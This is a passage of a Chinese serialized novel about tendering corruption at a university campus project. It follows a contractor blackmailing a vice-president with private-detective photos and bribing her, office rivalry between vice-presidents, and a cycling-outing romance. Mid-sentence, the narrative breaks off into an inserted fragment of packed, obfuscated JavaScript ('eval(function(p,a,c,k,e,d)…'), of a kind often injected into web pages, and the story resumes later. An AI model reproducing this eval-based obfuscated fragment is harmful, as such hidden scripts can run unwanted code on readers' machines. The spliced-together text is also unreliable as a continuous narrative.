看见顾明远这种不冷不热不软不硬的态度,秦冰纶本来准备好的一些关心体贴的话干脆就懒得说出,用手拂了拂横在眼前的花枝,转身向园外走去。 顾明远是个心里搁不住事的人。回到办公室后,立即召集韦江龙他们开会,重点细化已经起草好了的二期工程招标文件。当他兴冲冲地带着新版的文件走进孟超办公室时,刚刚挂断韦江龙电话的孟超脸色铁青,目光如刀子般剜向顾明远:“听说你们将二期工程的门槛加了注册资本一个亿、五年以上高校大型工程项目建设经验、近三年无任何安全责任事故这些条款?” 韦江龙的“走漏”消息在顾明远的意料之中,正要解释,孟超手指在桌子上敲得“嘣嘣”作响:“这 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孟超心头一震,像是被一记重锤击中。他何尝不知道刘芳、汪清早他们在一期工程中的这些勾当?只是没想到顾明远会这样直白地捅破这层窗户纸。现在,石凤芝的名字像一根刺刺痛着他的神经。是啊,如果“现实情况”被石凤芝这根“搅屎棍”掌握并被江川利用,那后果真是不堪设想。想到这里,孟超轻轻叹了口气,抬手揉了揉太阳穴,看了看顾明远欲言又止,最后疲惫地冒出一句“那你们再仔细推敲推敲吧”,挥手让顾明远退出了办公室。 顾明远的身影刚消失在门口,孟超心底便翻涌起惊涛骇浪。他比谁都清楚,若真按这份招标文件执行,别说许达濠希望渺茫,就连刘芳、汪清早他们那几家公司,也注定与项目无缘。这无疑是在他命门上狠切一刀。这些人,哪一个不是与他“仕途”相绑、“钱途”相连的呢? 他蓦地想起韦江龙刚才电话里传来的秦冰纶与顾明远中午在樱花园见面的消息。难道是她给顾明远递了这一招? 一个在心中蛰伏已久的念头重新再他的脑海里浮了起来。 几天后的一个下午临近下班时,未经预约的刘芳直接闯进了秦冰纶的办公室。 秦冰纶正在收拾桌上的文件。阳光透过落地窗洒进来,给她周身镀上了一层光晕。她抬头看见是刘芳,眼中毫不掩饰地闪过一丝厌恶与鄙夷,冷冷地抛出一句:“你有事应该找孟校长谈。” 语气里满是驱逐之意,冰冷而直接。 刘芳对此视若无睹。她虽然读书不多,但在江湖这所大学中早就从“充电”了察人断事的本领,对大学里这些知识分子拿捏起来早就驾轻就熟。在她看来,剥开学历和知识的光环,象牙塔里的人同样有着七情六欲,脆弱得如同窗户纸一捅就破。昨天,当孟超透露秦冰纶是自己二期工程中标成功的主要障碍时,刘芳决定会会秦冰纶这个在楚江大学呼风唤雨的“女中豪杰”。 此刻,刘芳脸上带着一种奇异的平静,未经邀请径直坐在秦冰纶对面的椅子上。秦冰纶觉得自己受了冒犯,生气地站起身来,刘芳却眼眸婉转说了句“秦校长莫急嘛”,然后从随身的爱马仕鳄鱼皮包里拿出了一个牛皮纸文件袋来。 秦冰纶以为她要送礼,毫不客气将牛皮信封推了回来:“你可别来这一套”。刘芳却笑嘻嘻地说道:“秦校长先看看嘛。” 秦冰纶疑惑地打开了牛皮信封,几张照片从里面滑落出来。 只看了一眼,秦冰纶脸上的血色瞬间褪得干干净净,惨白如纸。刚坐下的身体像是被烧红的烙铁狠狠烫了一下,猛地从座椅上弹了起来,动作剧烈得险些带倒了桌上那只昂贵的骨瓷茶杯。她甚至来不及掩饰脸上的惊恐与慌乱,一个箭步冲到办公室门口,“咔嚓”一声将门从里面关紧,然后迅速转身从小冰箱里拿出一罐自己专用的“阿胶当归茶”塞到刘芳手里。脸上硬生生挤出了一种近乎谄媚的热情笑容:“哎……哎呀,刘总,你看我,刚才一直在忙着处理文件,有些怠慢了哈。” “没事,没事,知道您忙,一直不敢打扰。今天有机会前来拜访,真是闻名不如见面啊。秦校长不仅是成功女人,更是气质美人啊。唉,说起来惭愧,我还是书读少了,您的气质风度真是学不来啊。”一边说着,一边拿眼睛扫着桌面上的照片,脸上绽开的全是嫣然却充满胜利者的笑容。这些照片,是刘芳两个月前重金雇佣的私人侦探在几家私密会所拍下的,内容全是秦冰纶和历史学院副院长林书锦幽会的场面。这种做法在刘芳的商业圈中,简直是小儿科般的简单。 秦冰纶此刻哪有心思享受刘芳的恭维和奉承。犹豫了几秒后,试探着问道:“刘总……你今天特意过来,是……是为了二期工程的……事吧?” 刘芳故意重重叹了口气,脸上适时地浮现出几分无奈和推心置腹的真诚:“唉,秦校长,难怪您是省管干部,眼光就是精准。没办法呀,秦校长,我们比不上您们这些端铁饭碗的,手下两百多号工人全都指着工程吃饭呢。这不,实在是走投无路了,才厚着脸皮来求您……。看在您就大家都是女人的份上,高抬贵手呗。” 说罢,抄起桌上的照片,恨恨地骂了句“这都是别人整的下三滥东西”,便用力将照片撕了个粉碎,然后麻利塞进鳄鱼皮包中。 秦冰纶怔在椅子上不能动弹。刘芳的语气忽然变得低沉,带着一种同病相怜的语气说道:“秦校长,说句掏心窝子的话,我有时挺替您可惜的。这么优秀、这么漂亮的女人,却一直一个人熬着日子。唉,这世道男人当道,真是可恨。我们做女人的,在官场、商场上都不容易啊。” 说到这里,刘芳适时住口,将想象空间和情感共鸣留给了秦冰纶。事实上,刘芳这番充满“共情”的表演确实意外地穿透了秦冰纶坚硬的外壳,精准地戳中了她内心深处最隐秘的痛楚、孤独和委屈。但她明白,刘芳撕碎照片只是演戏。现在,除了妥协,她似乎已经别无选择。 在答应说服基建处修改招标文件后,刘芳变戏法撕地从皮包抽出一个精致的盒子来。打开看时,里面是一尊灿灿的纯金观音,起身放进抽屉后说道:“这是我专门去五祖寺给您开了光的,现在很多高官都信这个。” 秦冰纶只能任由刘芳摆布,不敢拒绝。一股巨大的、令人窒息的屈辱感和深深的无力感,如同冰冷的潮水,瞬间淹没了她,让她感到一阵眩晕和透骨的寒意。 为了不让刘芳掀起滔天巨浪,秦冰纶只好主动找上孟超,请求他务必要加强对基建处的掌控,不能听任顾明远自作主张不切实际地抬高招标门槛。有了分管招标的校领导的支持,孟超迅速召开了指挥部的扩大会议,采取票决的形式决定招标文件中的核心条款。最后的结果,十五人中,只有两票赞成顾明远的意见。按照少数服从多数的原则,自然是孟超和秦冰纶的心愿达成。 墙上白板处的计票结果,像一道无声的霹雳,震得顾明远耳畔嗡鸣。周遭空气仿佛凝固,又在下一秒寸寸碎裂。他怔在原地,脑海里只剩下巨大的、冰冷的问号在盘旋。 62. 汤逊湖畔 迷茫如雾,顾明远在人生的十字路口驻足,脑海中不期然地浮现出吴若甫的身影来。曾几何时,“吴若甫”三个字如同压在他心口的巨石,让他避之唯恐不及。随着时光的流逝和年龄的增长,顾明远越来越读懂了老人那份对自己深沉的关爱。他身上丰沛的人生阅历与处世智慧,在如今的顾明远看来,显得尤为珍贵和受用。自吴雅娟离去后,一种微妙的变化在两人间悄然发生。顾明远不再回避而是时常主动登门;吴若甫也从最初的刻意收敛重新恢复了对顾明远的用心点拨。 书房里茶香氤氲。顾明远急切地说着自己的困惑与烦恼,吴若甫安静地听着,脸上波澜不惊。他没有立即回应顾明远提出的问题,而是起身从抽屉里取出一副崭新的扑克牌。在顾明远错愕的目光中,老人熟练将整副牌铺在茶几上。 “这里面谁最大?” “大王。” “然后呢?” “小王。” 吴若甫点点头,手指轻点那两张牌:“在楚江大学,戈、周是大王,孟、秦他们都是小王吧?” 顾明远点了点头。吴若甫将目光投向顾明远:“你呢?算哪一张?” 顾明远苦笑:“顶多是个J,撑死了是Q。” “有自知之明是好事。”吴若甫脸上掠过一丝赞许:“现在流行玩斗地主吧。四个J,能斗得过大小王吗?” “如果大小王分开,或许还有点机会。” “那如果大小王联手了呢?” “那就是无解了。王炸一出,谁敢争锋?” “是啊!”吴若甫意味深长地看着他,“你现在遇到的情况不正是这样吗?在二期工程招标上,至少孟超、秦冰纶这些小王已经联手了,你一个J,拿什么去坚持你那所谓的‘真理’?” 顾明远心里暗自吃惊:如此看来,老人已经对目前的局势了如指掌了。在心里佩服的同时,脸上泛起不服气的红晕:“难道要让真理让位于谬误?这不合适吧?” “不合适?”吴若甫满是皱褶的脸上掠过一丝狡黠的笑:“这世上‘不合适’的事情堆积如山,你管得过来吗?新校园建设,你既不是总指挥,也不是第一责任人,天塌下来有高个子顶着咧。” 顾明远一时语塞,面露窘迫。 吴若甫语气缓和下来:“搞行政最忌讳总觉着自己掌握了真理,一条道走到黑。你以为自己在坚持真理,最后一不小心将大王小王得罪了个遍,最终吃亏的还是自己呀。”顿了顿,老人浑浊的眼睛里闪着洞悉世情的光:“有人的地方就是江湖。高校这座象牙塔看似清净,底下流淌的同样是江湖的水。”他缓缓说道:“水太急,逆流而上只会头破血流。顺势而为,才是存身自保之道。” “江湖”二字像冷雨,浇得顾明远一个激灵。象牙塔本质也是权力与规则交织的名利场。如果一味固执己见,只怕真的会头破血流。与其无谓抗争,不如冲出围城,寻找新的人生坐标。 从吴家出来时,暮色如打翻的砚台,将墨色一层层浸染开来。路旁的香樟树在晚风中发出沙沙的轻响,更衬得周遭一片空寥。远处的教学楼灯火已然亮起,星星点点,闪闪烁烁,像散落人间的星辰,却照不亮顾明远此刻心头的茫然。 他下意识地紧了紧外套,初秋的晚风已带了些微的凉意,直往领口里钻。该往何处去?这个问题此刻沉甸甸地压在心间。风吹过时,地上清影摇曳,顾明远下意识地抬头上看,一轮满月不知何时已悄然升到半空,脑海里不期然地浮出了林思齐的身影。 已经好久没有联系了。仿佛受了明月的牵引,顾明远迫不及待地从口袋里掏出手机,斟酌了半天,将一肚子的话只凝练成一句带着试探的问询:“月明人尽望,伊人在何方?” 按下发送键的同时,他也按下了自己心跳的加速键。 时间在等待中被拉得格外漫长。不知过了多久,握在手中的手机屏幕终于幽幽地亮了起来。没有往日的温言软语和俏皮调侃,屏幕上只送来略显冰冷和疏离的三个字——“有事吗”。 短短三个字像三根细小的冰凌猝不及防地刺入顾明远温热的心房。他几乎能透过这屏幕感受到一种前所未有的冷淡。她怎么了?是遇到了什么困难?还是……有意在疏远自己?各种猜疑如同暗夜里疯长的藤蔓,瞬间缠绕住他的心脏,越收越紧,几乎让他喘不过气。回去的脚步不由自主地变得沉重而缓慢,仿佛每一步都踩在泥泞的困惑与失落之中。 顾明远无从得知的是,就在这同一片月光下,东湖边上的一个房间里,林思齐正抱着她那只胖乎乎的银渐层猫蜷坐在宽敞的飘窗台上。月光如练,透过玻璃,温柔地抚摸着她孤独的身影,却照不进此刻烦闷惆怅的心绪。 几天前表姐秦冰纶那句看似无心的话,此刻仍在耳边清晰地回响——“近年新招的研究生对顾明远可是热情得很。”其中,“恩师女儿”、“年轻活泼”这几个词眼,像银针般精准地扎在她心底最柔软、也最缺乏安全感的地方。她下意识地收拢手臂,怀里的猫咪不满地“喵呜”了一声,扭动着圆滚滚的身子,换了个更舒服的姿势继续撒娇。 外人面前,林思齐永远是那个理性、从容、淡雅的林医生。只有她自己知道,这不过是经历过一段失败婚姻后为自己小心翼翼筑起的防护墙。只有在这样无人窥见的夜晚,她才敢真实地袒露自己。此刻,那个名叫顾明远的男人,正将自己的理性、从容、淡雅揉得碎如纸屑。 刚才,手机屏幕显出“顾明远”的名字时,她的心湖确实漾开了涟漪,然而指尖在键盘上方悬停了许久,最终只敲下了“有事吗”三个干巴巴的文字。 这故作姿态的冷淡,恰恰是她心乱如麻最真实的证明。明明期待着他的消息,当真等来了,却又被一种莫名的自我保护包裹住自己的心扉。那段闪婚闪离的经历,直到如今,依然余波难平,带来的不仅是情感上的创伤,更是一种深植于心的自我怀疑。在面对顾明远时,一贯自信乐观的她有时甚至觉得自己配不上这个才华横溢、事业有成的男人。正因如此,从他那里出现的任何风吹草动,都能在她心里引发一场自我否定的“蝴蝶效应”。 明明有浓稠的月光和浑圆的猫咪,但林思齐还是觉得心里空落落的,她把微微发烫的脸颊深深埋进猫咪柔软温暖的皮毛里,感受着那细密绒毛带来的些许慰藉,低声喃喃自语:“烦死了……”。月光依旧皎洁无声,她的心里却浸满了酸楚的凉意。 顾明远的心绪也好不到那里去。这些天,虽然工作上因吴若甫的开解而拨云见日,但林思齐那句冰冷的“有事吗”却像一片凝固的阴云,始终沉沉地压在顾明远的心头。恰在此时,研究生部组织了环汤逊湖骑行活动。架不住体育部长叶笛热情的邀请,加之本身也是骑行发烧友,顾明远爽快地答应了下来——既为活动筋骨,也想散心遣怀。 晨光熹微中,汤逊湖面笼罩着一层如轻纱般的薄雾,浮动着朦胧而梦幻的金色光晕。秋风穿过湖畔大片大片的芦苇丛,发出细碎而清晰的沙沙声,像是在低语。岸边的乌桕树树梢已悄然染上了一抹浅绛,在朦胧的晨光中晕开一片温柔的色彩。一声清脆的自行车铃划破清晨的宁静,惊起几只白鹭,扑棱着翅膀从粼粼的湖面上掠过,留下一道道转瞬即逝的涟漪。 顾明远一身深灰色专业骑行服准时到达集合点。让他颇感意外的是,副校长秦冰纶和历史学院院长江鸥影竟也赫然在列。他正暗自感叹叶笛这小姑娘出众的组织能力和人脉,目光却撞上了秦冰纶正含笑望过来的杏眼。那眼神里,似乎比平日多了几分难以捉摸的深意。他只得按下心头一丝异样,主动上前打招呼。 秦冰纶的态度显得有些微妙,故意斜睨了一眼正在队伍前活力四射地做着安排的叶笛,语气带着一丝不易察觉的调侃:“看来顾处长很给我们小叶部长面子嘛,难得见你参加这类集体活动。” 这话里隐含的阴阳怪气让顾明远心头微微一堵,他半是无奈半是嘲讽地回敬:“这还不是因为您亲自压阵,号召力强嘛。” 江鸥影抿嘴轻轻一笑,眼神在秦秦二人之间转了转,一副了然于胸、静看好戏的模样。秦冰纶却像是忽然想起了什么,莫名其妙地说道:“人齐了吧?好戏该开锣啰。” 这话没头没尾,却让顾明远心中那丝异样感更重了几分。 出发的哨声清脆响起。叶笛敏捷地操控着自行车,很快就挨到了顾明远的身旁,声音带着年轻人特有的朝气和爽脆:“顾老师,您骑术精湛,待会儿路上我可就赖上您了,一定要多多指点我呀。” 顾明远正要开口说些客套话,眼角余光却骤然发现一个熟悉的身影——在左后侧第二排江鸥影的旁边,那个惊鸿般的身影正静静地端坐在自行车上,目光定定地落在自己这个方向。 这不是思齐吗?顾明远几乎要脱口喊出她的名字,再回头看秦冰纶时,杏眼里满是诡异的笑,他忽然明白了刚才那句“好戏”所指何意。一种近乎本能的反应,让他几乎是下意识地将自己的车身与紧挨着的叶笛拉开了一些距离,侧转头看着林思齐,脸上漾着笑容打起了招呼。 林思齐今天恰好也穿了一身深灰色骑行服,少了几分平日的温婉,却多了一丝飒爽的英气。听见顾明远的招呼,她故意嘴角微微上扬朝叶笛的方向轻轻一点。笑容看似寻常,却仿佛蕴藏着万千意味。 骑行队伍开始沿着湖岸线蜿蜒前行。晨光下的汤逊湖波光潋滟,景色美不胜收。然而,此刻的顾明远却全然无心欣赏。他的目光如同被无形的线牵引着,大部分时间都追随着那个在队伍中忽前忽后的身影。 他能清晰地感觉到,林思齐的目光也时有若无地扫过自己。他有意识地与紧跟自己的叶笛保持着距离,并不时通过微调方向和速度,试图自然地靠向林思齐。然而,每一次,就在他以为快要接近的瞬间,林思齐却仿佛背后长了眼睛,总是恰到好处地将车把轻轻一偏,车身灵巧地划出一道优美的弧线,翩然融入旁边的小队人群中,只留给他一个优雅而疏离的背影。 这个细微却明确的回避动作,让顾明远心里更上紧张。他不甘心,再次瞅准机会试图靠近,偏偏叶笛却如影随形般立刻跟了过来,嘴里亲热地叫着“顾老师”,言语间充满了毫不掩饰的崇拜和倾慕。 “顾老师,您看那片芦苇,像不像镀了层金边?真美啊!” “顾老师,这个坡度我用什么档位比较省力呢?您教教我嘛。” “……” 顾明远不敢热情地回应,只是被动而客气地敷衍,目光一次次不受控制地、带着些许焦灼地瞟向林思齐的方向。 这一幕幕,早已被骑行在他们稍后位置的秦冰纶尽数收进眼中。她嘴角噙着一丝了然的笑意,趁着顾明远停下补水的机会,加速撵了上来,语带双关地说道:“顾处长,看来今天你这护花使者当得有点忙啊,是不是现在有些……幸福的烦恼呀?” 顾明远自然听得出这话里的弦外之音,脸上不由得微微一热,掩饰不知内心的窘迫。他不敢直接接话,只好假装用力喘着粗气,含糊地应了一声,便加速向前骑去。 接下来是一段颇考验体力的长坡路段。顾明远不停地催促着身旁的叶笛加速追赶前面的大部队,目的是要等待后面的林思齐。回头看时,发现林思齐正独自一人蹲在路边的一棵枫树下摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这番话他说得磕磕绊绊,断断续续,完全不见平日站在讲台上那份引经据典、从容不迫的潇洒风姿,倒像个做错了事急于辩解的大男孩。看见他这副语无伦次、窘迫焦急的样子,林思齐忍不住“噗嗤”一声笑了出来,笑声清脆如同风中摇曳的银铃:“顾老师,你今天有点奇怪哦。” 她歪着头,眼中闪烁着狡黠的光:“我好像也没有说什么呀,你怎么倒先弄成一副‘此地无银三百两’的模样了呢?” 说罢,她长长的睫毛轻微地颤动了一下,目光在他脸上短暂停留,语气刻意平淡得听不出什么情绪:“再说,你也没必要跟我解释这些呀。现在都什么年代啦?学生崇拜老师,最后缔结良缘的也不是什么稀奇事呀,我倒是觉得是件美好、浪漫的事。” 这话听起来通情达理,事不关己,但比起之前那句冰冷的“有事吗”,其中隐含的试探和妒意,反而更让顾明远心中忐忑,脸上满是急于自证清白的迫切,这反而像一股暖流悄然融化着林思齐胸中的猜疑堡垒。 气氛刚刚有所缓和,坡顶方向忽然传来一阵急促的自行车铃声,随着一声清脆中带着娇嗔的呼唤传来:“顾——老——师——,您怎么——没跟上来呀!”两人定睛一看,叶笛正从坡顶方向呼啸着返了回来。 林思齐丹凤眼里浮起三分狡黠七分戏谑的笑意:“人家这么主动,顾老师还不追上去?” 顾明远来不及赏花,叶笛一个利落的急刹,将车子稳稳地停在了林思齐的面前,额头上带着运动后的红晕,目光毫不回避地直接落在林思齐身上,然后才转向顾明远问道:“顾老师,这位姐姐是……?” 顾明远感受到瞬间再次微妙起来的气氛,赶紧一本正经将两人相互作了介绍,对林思齐直呼其名“思齐”,而对叶笛则是连名带姓的“叶笛”,这其间亲疏立判的称呼,让林思齐心里刚刚泛起的不快又得到了些许缓释。 叶笛脸上挂着大咧咧的笑容,主动和林思齐打起了招呼。林思齐不想在这个陌生而又熟悉的女孩面前落了下风,迎着叶笛的目光,唇边漾开一抹清浅而得体的笑容,姿态从容不迫回了句“叶同学好,这个活动组织得不错啊”。语气自然而平和,没有丝毫的敌意或芥蒂。这份在年轻女孩面前展现出的淡定、大气与沉稳,反而让心思相对单纯、年纪尚轻的叶笛显出了稚嫩,脸上的笑容不自觉地僵硬了一下,转而伸手扯了扯顾明远的衣袖,催着抓紧上路。 追上大部队后,叶笛招呼大家在一处视野极佳的观景平台休息。她像是变戏法一样,从背包里拿出精心准备的能量胶、巧克力和洗好的新鲜水果,热情地分发给众人。轮到顾明远时,他有意指了指身旁的林思齐,示意叶笛先将东西给她。这个细微的动作,正被林思齐清晰地看在眼里,心中因猜忌而凝结的霜花消融了大半。 重新出发时,两人心照不宣地稍稍放慢了速度,自然而然地落在队伍的末尾并排骑行。看着阳光在广阔湖面上洒下的粼粼金色波光,林思齐忽然侧过脸来,眼眸中带着一丝狡黠轻声问道:“那天晚上……你不会觉得我失礼了吧?” 顾明远知道所指,眼底漾开了笑意,故意反问道:“哪天晚上呀?你失礼了吗?” 话刚出口,他自己倒先忍不住低低地笑了起来,那笑容里带着如释重负的轻松。 “哼,你果然……像有的人说的是‘内藏奸诈’呢。” 林思齐扬起眉梢,做了一个鬼脸,这是顾明远最喜欢的鲜活模样。 两人相视一笑,刹那间,所有的隔阂、猜疑、忐忑,都在这心照不宣的笑容中烟消云散。天空仿佛变得更加湛蓝,阳光也愈发显得明媚温暖起来。 活动结束后,在夕阳将天际染成一片瑰丽橙红的余晖中,顾明远走到林思齐身旁,提出送她回家。这次,林思齐没有像以往那样客气或拒绝,微笑着点头同意。 两人推着自行车,并肩漫步在夕阳余晖染红的街道上,身影被拉得很长,时而交叠在一起。误会冰释,疑虑消散,一种更为微妙、更为扎实、也更为贴近的情感,在两人之间静静流淌、蔓延开来。有些东西,似乎已经不言自明,心照不宣地,只不过是在等待着某个更合适、更恰当的时机开出绚丽的花来。此刻,夕阳正好,晚风温柔漾着湖上的金波。 63. 茶烟袅袅 楚江大学新校园二期工程正式上马之后,工地机械轰鸣,人声鼎沸,一派热火朝天的景象。 在这片喧嚣之下,另一种无形的“尘土”也在悄然扬起——关于工程招标、施工材料的各种小道消息,如同工地上的扬尘在校园的各个角落“甚嚣尘上”,弥漫不散。 作为工程总指挥的孟超表面上镇定自若,内心却焦虑不安。只有这些私底下悄然传播的流言蜚语,决不会是空穴来风。经过一段时间的追踪和摸排,那个不断释放烟雾的模糊源头再次指向了副校长江川。 孟超对此心如明镜。一切矛盾的根源,都在于校长周濂退休在即。那座象征着楚江大学最高权柄的位置,如同磁石般吸引着所有自觉有资格坐上去的人。其中,已年满五十五的副校长江川,姿态最为明确,也最为迫切。 在楚江大学经营数十载,从讲师一步步走到今天的副校长,江川自认资历、人脉与能力都该是顺位接任的不二人选。然而,近几年孟超的崛起,已经成了江川仕途规划中最大的变数。尤其这两年来,这个比自己年轻的“后来者”,作风强硬,行事果决,凭借新校园建设为自己赢得了声望和口碑,俨然已经成了与他竞争校长之位最有力的对手。自然,加快遏制孟超便成了江川眼中关乎自身仕途终局的必然之举。 学者出身的江川,将其含而不露的作风日渐淬炼为一门艺术。他现在从不公开点评孟超,却以学者特有的缜密悄然布局:时不时姿态放低和孟超麾下的指挥部人员进行“学术探讨”与“私下请教”,于无形中施加影响;驱动精心栽培的“门生”与“部下”利用各种场合不动声色地传递不利孟超的观点。一张针对孟超的无形之网,就这样在悄无声息中织就。 孟超心底始终横着一根刺,那便是对江川说不清道不明的忌惮。这份忌惮,远不止于江川那身儒雅的学者光环,也不全因他手握财权、可以随时“关切”新校园建设的每个环节。真正令孟超脊背发凉的,是江川那潭深水般的性子,话永远只说到七分,里面却蕴含着十二分的意味,初听起来似是玩笑,细究起来全都是笑里藏刀。 当然,孟超也不是什么善茬。兵来将挡水来土掩。号称“孟大胆”的他知道绕不过江川,那就直面他的挑战好了。 近日,一条线报引起了孟超的警惕——江川数次主动约见基建处处长顾明远,偏偏顾明远从未在自己这个分管领导面前提起此事。思来想去,孟超决定必须出手敲打敲打一直和自己貌合神离、有些不知轻重的顾明远。 擒贼擒王。这天,前往基建处找韦江龙的孟超在基建处走廊上“巧遇”了正从顾明远办公室出来的江川。 江川脸上那抹尚未完全褪尽的自得笑意刺进了孟超的眼底。寒光一闪而逝,随即脸上已堆起春风般和煦的笑容迎了上去,声音洪亮得足以让两侧办公室的人隐约捕捉到:“哟,江校长日理万机的,今天怎么得空,亲自‘莅临’我们基建处这片小庙‘指导’工作来了?” 他特意将“我们”、“莅临”、“指导”几个字咬得格外清晰用力。这既是场面上的抬举,更是一种无声的宣示与划界——基建处,是我孟超的地盘。 江川脚步顿了一下,脸上瞬间换上惯有的职业笑容,主动伸出手来与他轻轻一握,力道温和却带着不容置疑的稳定:“孟校长说笑了。我刚从财务处回来,顺道路过,正好碰上顾处长,便和他聊了几句。” 语气平和,巧妙地用“顺道”弱化了此行目的性。 孟超顺势上前半步,看似亲近,实则是巧妙地挡住了江川准备离去的脚步:“江校长也太见外了吧。一期结算还没了结,二期资金更是捉襟见肘,我们正是需要您这财神爷多来坐镇指挥的时候,怎么能只是‘顺道’呢?您得多来,‘亲自’给我们指导才行啊。” 江川仿佛完全没有听出弦外之音,笑容依旧温和地说道:“孟校长是总指挥,能力大家有目共睹,更何况手下都是精兵强将,我哪有资格指导你们呀。不过,你也说得对,现在新校园的资金确实是个问题,戈书记也总是讲要确保资金的使用效率,有时间我倒真要向你孟校长请教请教的。” 一番话滴水不漏,既抬高了孟超,又亮出了自己的锋芒。 “使用效率”几个字让孟超心头一震。他没有江川的功力,一句话就露了怯:“你不是一直在指导顾处长他们提高资金效率吗?这个方面我和您想法完全一致啊。”说罢,可以望着顾明远虚掩着房门的办公室看了一眼,那意思是明摆着的:别以为你打入内部的战术我不知情的。 江川深知孟超言辞的锐利与泼辣,那是一种他既不擅长、也不愿面对的锋芒。他无意与之纠缠,便拿出“一会儿要向戈书记汇报二期工程资金的筹措情况”的话来吓唬孟超,这下孟超不敢阻拦,意犹未尽,也只好放他去了。 门内的顾明远将两位副校长机锋暗藏的对话听得字字清晰。他下意识地退到窗帘的阴影里,仿佛那厚重的绒布能隔绝外界无形的压力。出去打断?他自觉身份尴尬,无异于引火烧身;不出去?又恐事后任何一方知晓他在此“隔墙有耳”,徒增嫌疑。短短几分钟,他已在窗帘后无声地踱了几个来回,不知道该如何是好。直到江川的脚步声渐行渐远,他才如蒙大赦,胸口那股紧绷的气终于缓缓吐出。他悄悄撩开帘角,只见孟超一人呆立原地。顾明远定了定神,顺手从桌上抄起几份文件揽在胸前,佯装刚刚忙完公务地推门而出,并适时地向不远处的孟超故作热烈地打起招呼。 回过神的孟超歪着头看了顾明远一眼,从鼻腔里几不可闻地“嗯”了一声算是回应,里面多少含了些对顾明远“坐山观虎斗”而不出来帮忙做法的不满。不等顾明远做出下一步反应,孟超转过头来,大踏步走进了顾明远的办公室。 办公室内还隐约残留着一丝若有若无的茶香。办公桌一侧,赫然放着一罐崭新的大红袍茶叶,那是刚才江川随手带来的“手信”。这个品种的茶叶,孟超曾经在江川办公室里见过,立刻成了他借题发挥的最佳由头。他的嘴角噙着一丝若有若无、让人捉摸不透的笑意,缓缓拿起光亮的陶瓷罐轻轻叩了几下:“哟,这么高档的茶叶,我好像在江校长那里见过的。” 顾明远深知孟超对“部下忠诚”的极度敏感,更知道孟超和江川的不对付,加上不久前受了吴若甫“大小王”理论的熏陶,便壮着胆子说道:“孟校长您说笑了,我哪有这样的荣幸呀。这是前几天去德君事务所看他时随手顺来的。” “是吗?你去找钟德君干什么?”这句问话像一根针扎得顾明远心头一紧。急切之间,一个合情合理的借口在他脑中成形。只见顾明远嘴角牵起一丝无奈的苦笑:“他的那个侄儿前几天和同寝室的同学发生了一点误会,他让我出面帮忙解决。” 钟德君的侄儿在楚江大学读书的事情孟超是知道的,他狐疑地打量了顾明远一眼后说道:“钟德君没有问其他的事情吧?” 顾明远知道孟超嘴里的“其他”指的是学校新校园建设的事情,连忙摇头否认。但是,孟超眼睛里流出的不信任的光波还是让他心头发紧,暗暗叮嘱自己事后一定要和钟德君通个电话,以防孟超对质时露馅。 孟超似乎对这罐茶叶紧盯不放,故意提高音调说道:“看来钟德君现在喝茶的品味提高了嘛。这个牌子和江校长常喝的一模一样,或者是这两人现在走得近了?” 顾明远本就不善于说谎,生怕自己管理不好自己脸上的“微表情”被经验丰富的孟超看出破绽。他实在太了解眼前这位顶头上司的脾性,其“领地意识”之强烈在学校是出了名的。有几次周濂在没有和他通气的情况下直接给基建处布置了任务,结果最后需要孟超签字时被他以“流程需要再议”、“细节有待核实”等理由委婉地予以拒绝。现在,如果孟超心中的猜忌不能消除,指不定哪一天又会给自己这个基建处长穿上一双小鞋。想到这里,顾明远干脆横下一条心,化被动为主动,将刚才江川对二期工程资金安排的异议说了出来。 孟超脸上的线条柔和下来,算是对顾明远这番说辞的认可。听完汇报,他将身体向后靠进椅背,用一种刻意放缓的语调说道:“看你这神色有些紧张哦。顾处长你有什么可紧张的呢?”他抬手在空中虚按了按,像是在安抚一场并不存在的风波:“二期工程的资金,毕竟还有监理方共同把关。至于江校长那边……”,稍作停顿,随即用一种不容置疑的、代表着“官方正确”的口吻继续道:“人家分管财务,对资金安排进行质询和指导,正是对我们工作的重视与支持。这——是天大的好事嘛。” 最后几个字,孟超说得格外清晰有力,那神情与其说是豁达,不如说是一位统帅在被告知友军动向不明后,决意在麾下面前表现出的绝对镇定与掌控力。 突如其来的“宽宏大量”和“通情达理”,非但没有让顾明远感到安心,反而让他心头的不安如野草般疯长。正在这时,办公室的门被轻轻敲响,副处长韦江龙捧着一摞厚厚的资料走了进来。正要汇报工作,孟超却挥手打断了他,脸上挂着一种高深莫测笑容突兀地问道: “江龙你是学建筑出身的吧?我来考你一个历史学的知识怎么样?” 韦江龙有些莫名其妙,目光犹疑地看着顾明远。 “你知道东汉的张衡除了发明赫赫有名的地动仪,还‘生产’了一个流传至今的成语是什么吗?” 韦江龙被这没头没脑的问题问得一脸茫然,讪讪地说道:“顾处长是咱们学校有名的历史专家,这得问他呀。” 顾明远的脸色瞬间变得一阵红一阵白。他当然知道张衡曾在奏疏里创造“吃里扒外”成语的典故。孟超故意当着自己的面去询问韦江龙,这分明是指桑骂槐来羞辱、警告自己的嘛。本来现在一直告诫自己隐忍不发的顾明远再也按捺不住,语气带着明显的意气:“孟校长有什么话不妨直说好了。” 不明就里的韦江龙察觉到了气氛的不对劲,眼神在两人之间惶恐地来回逡巡,进也不是,退也不是。 孟超似乎意识到了自己有些过了头,担心顾明远“犟劲”上来反而无法收场,便站起身来哈哈一笑,走到顾明远身边拍了拍他的肩膀,语气轻松地说道:“开个玩笑嘛。也好,你们两位处长都在场。我还是那个态度,其他校领导过问、关心新校园建设,是好事,是大好事,我孟超是举双手欢迎的。今后呀,你们尽可以直接去其他领导那里汇报新校园建设的事嘛。不光你们,以后我自己也要带头,多去和江校长他们沟通情况。都是为了工作嘛,目标是一致的。” 韦江龙赶紧接话:“那不可能。我们只对您孟校长负责。”有些被动的顾明远也只好跟着强调:“江龙说得对,您是我们的分管领导,今后我们一定要在第一时间向您请示、汇报。” 孟超的旁敲侧击持续了整整一个小时。这在顾明远看来简直是毫无意义的时间浪费,他强压住心头翻涌的厌倦,千头万绪的二期工程已经耗费了他的大量心力,如今还要装出一副沉稳老练的样子来洗耳恭听。有人将这种克制称为成熟。顾明远却在心底感到悲哀:这算什么成熟?不过是棱角被现实磨平后任人套上枷锁而已。 他将目光越过窗框,投向远处那片被夕阳染成金红的天空,坚信总有一天,自己会冲出这窗框的束缚,去真正属于自己的天空中尽情舒展双翼自由地翱翔。现在,他要做的无非是静待时机。 